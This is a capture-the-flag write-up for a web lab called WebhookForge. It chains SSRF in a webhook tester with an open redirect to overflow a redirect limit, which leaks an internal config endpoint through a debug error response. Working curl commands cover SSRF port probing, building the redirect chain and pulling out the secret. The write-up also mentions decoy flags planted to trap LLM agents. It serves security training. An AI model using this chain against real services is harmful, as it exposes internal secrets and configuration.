WebhookForge
WebhookForge
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: error_handler_information_disclosure, internal_service_enumeration, open_redirect_chaining, port_scanning_via_ssrf, redirect_limit_overflow, response_body_exfiltration, ssrf_via_redirect_chain
Summary
Task: Webhook management platform with webhook tester (SSRF), open redirect via link tracking, and internal config service on port 3001. Solution: Chain 5+ tracking redirects to overflow the webhook tester's redirect limit, causing the error handler to leak the response body from the internal /config endpoint containing the flag.
WebhookForge — HackAdvisor Lab 381
Description
WebhookForge is a webhook management and notification delivery platform built by ForgeStack Inc. Development teams use it to configure webhook endpoints, test their connectivity, track link clicks in notification emails, and monitor delivery logs. The goal is to find and read a secret configuration file from an internal service that should not be accessible from the outside.
WebhookForge provides a full suite of webhook infrastructure tools: endpoint configuration with signing secrets, a link tracking system for email campaigns, delivery log monitoring, and customizable notification payload templates. The application has multiple API endpoints, including a webhook tester that makes server-side HTTP requests and a link tracking system that performs open redirects. An internal configuration service on port 3001 holds the flag.
Credentials: user@test.com / password123, demo@forgestack.io / demo123
Analysis
Application Features
| Feature | Endpoint | Purpose |
|---|---|---|
| Dashboard | / | Overview of webhooks, tracked links, delivery stats. Shows API key |
| Webhook Endpoints | /webhooks | Manage webhook destinations (CRM, backup, Discord, Jira) |
| Webhook Tester | POST /api/webhooks/test | SSRF vector — makes server-side HTTP requests, follows redirects |
| Link Tracking | GET /api/track/{id} | Open redirect — 302 redirects to any destination_url, no auth |
| Delivery Logs | /deliveries | Webhook delivery history with URL, status, HTTP code |
| Templates | /templates | Notification payload templates with {{variable}} substitution |
| Settings | /settings | Profile, API key, team members |
| |
Tech Stack
- Node.js, Express, nginx/1.25.5, WebhookForge v2.4.1
Reconnaissance Findings
Internal services discovered via SSRF port scanning:
- Port 8080 (127.0.0.1:8080) — main application, responds 200 to
/, 404 to most paths - Port 3001 (127.0.0.1:3001) — internal config service,
/configendpoint returns 200 with secret configuration containing the flag
Key observations:
- No SSRF IP blocklist — webhook tester does NOT block internal IPs
- Webhook tester follows redirects but has a redirect limit
- Tracking URL in API response reveals internal hostname:
http://localhost:8080/api/track/trk_xxx - Decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in hidden HTML comments and invisible divs on every page to trap automated scanners and LLM agents
Vulnerability Chain
Three components interact to create the exploit:
| Component | Role | Vulnerability |
|---|---|---|
Webhook Tester (POST /api/webhooks/test) | Makes server-side HTTP requests, follows redirects | SSRF — but only returns status codes on success, not response bodies |
Link Tracking (GET /api/track/{id}) | 302 redirects to any URL | Open redirect — no validation on destination URL, no auth required |
| Redirect limit error handling | Returns debug info when redirect chain exceeds limit | Information disclosure — error responses include response body that success responses hide |
| |
Key insight: The webhook tester normally only returns HTTP status codes in its success response. However, when it encounters a redirect chain that exceeds its internal redirect limit (overflow), the error handling code path returns debug information including the full response body from the last followed redirect. This is the "Redirect Chain Overflow" technique.
Solution
Step 1: Login and Reconnaissance
bash read-only • copy allowedURL="https://66331186-ef64-42bd-8a49-29cec7f31340.labs.hackadvisor.io" # Login curl -s -c cookies.txt -X POST "$URL/login" \ -d "email=user@test.com&password=password123" # Discover internal services via SSRF curl -s -b cookies.txt -X POST "$URL/api/webhooks/test" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:8080/"}' # → {"success":true,"status_code":200,"response_time_ms":4,...} curl -s -b cookies.txt -X POST "$URL/api/webhooks/test" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:3001/config"}' # → {"success":true,"status_code":200,...} — but no body returned!
The webhook tester confirms the internal config service exists and responds 200, but the success response only includes the status code — not the response body.
Step 2: Identify the Open Redirect
bash read-only • copy allowed# Create a tracked link pointing to internal service curl -s -b cookies.txt -X POST "$URL/api/links" \ -H "Content-Type: application/json" \ -d '{"name":"test","destination_url":"http://127.0.0.1:3001/config"}' # → {"success":true,"tracking_id":"trk_xxx","tracking_url":"http://localhost:8080/api/track/trk_xxx"} # Verify it redirects curl -s -D - -o /dev/null "$URL/api/track/trk_xxx" # → 302 Found, Location: http://127.0.0.1:3001/config
The link tracking endpoint performs a 302 redirect to any URL without validation or authentication.
Step 3: Build the Redirect Chain (Overflow)
bash read-only • copy allowed# Create the final link pointing to the config endpoint RESP=$(curl -s -b cookies.txt -X POST "$URL/api/links" \ -H "Content-Type: application/json" \ -d '{"name":"chain0","destination_url":"http://127.0.0.1:3001/config"}') TRK0=$(echo $RESP | python3 -c "import sys,json; print(json.load(sys.stdin)['tracking_id'])") # Create chain links, each pointing to the previous tracking URL PREV=$TRK0 for i in $(seq 1 5); do RESP=$(curl -s -b cookies.txt -X POST "$URL/api/links" \ -H "Content-Type: application/json" \ -d "{\"name\":\"chain$i\",\"destination_url\":\"http://localhost:8080/api/track/$PREV\"}") PREV=$(echo $RESP | python3 -c "import sys,json; print(json.load(sys.stdin)['tracking_id'])") echo "chain$i: $PREV" done
This creates a chain of 6 tracking links:
chain5→chain4→chain3→chain2→chain1→chain0→http://127.0.0.1:3001/config
Step 4: Trigger the Redirect Chain Overflow
bash read-only • copy allowed# Fire the webhook tester at the start of the chain curl -s -b cookies.txt -X POST "$URL/api/webhooks/test" \ -H "Content-Type: application/json" \ -d "{\"url\":\"http://localhost:8080/api/track/$PREV\"}"
The webhook tester follows the chain of redirects until it exceeds its internal redirect limit. The error handler then returns debug information including the response body from the final URL:
json read-only • copy allowed{ "success": false, "error": "Too many redirects encountered", "debug": { "final_url": "http://127.0.0.1:3001/config", "status_code": 200, "response_body": "{\n \"service\": \"internal-config\",\n \"flag\": \"FLAG{REDACTED}\",\n \"db_host\": \"db.internal.forgestack.io\",\n ...}" }, "message": "The webhook URL resulted in too many redirects. Debug information attached for troubleshooting." }
Attack Chain Diagram
Attacker Webhook Tester Link Tracking Internal Config
| | | |
|-- POST /api/webhooks/test ->| | |
| url=localhost:8080/ | | |
| api/track/trk_chain5 | | |
| |-- GET /api/track/chain5->| |
| |<-- 302 → track/chain4 --| |
| |-- GET /api/track/chain4->| |
| |<-- 302 → track/chain3 --| |
| | ... (chain) ... | |
| |<-- 302 → track/chain0 --| |
| |-- GET /api/track/chain0->| |
| |<-- 302 → 127.0.0.1:3001 | |
| | /config --------| |
| | | |
| |-- REDIRECT LIMIT HIT! ---|-- GET /config ---------->|
| | | |
| |<-------------------------|<-- Config with FLAG -----|
| | (error handler leaks | |
| | response body) | |
|<-- Debug info + body ------| | |
| containing FLAG | | |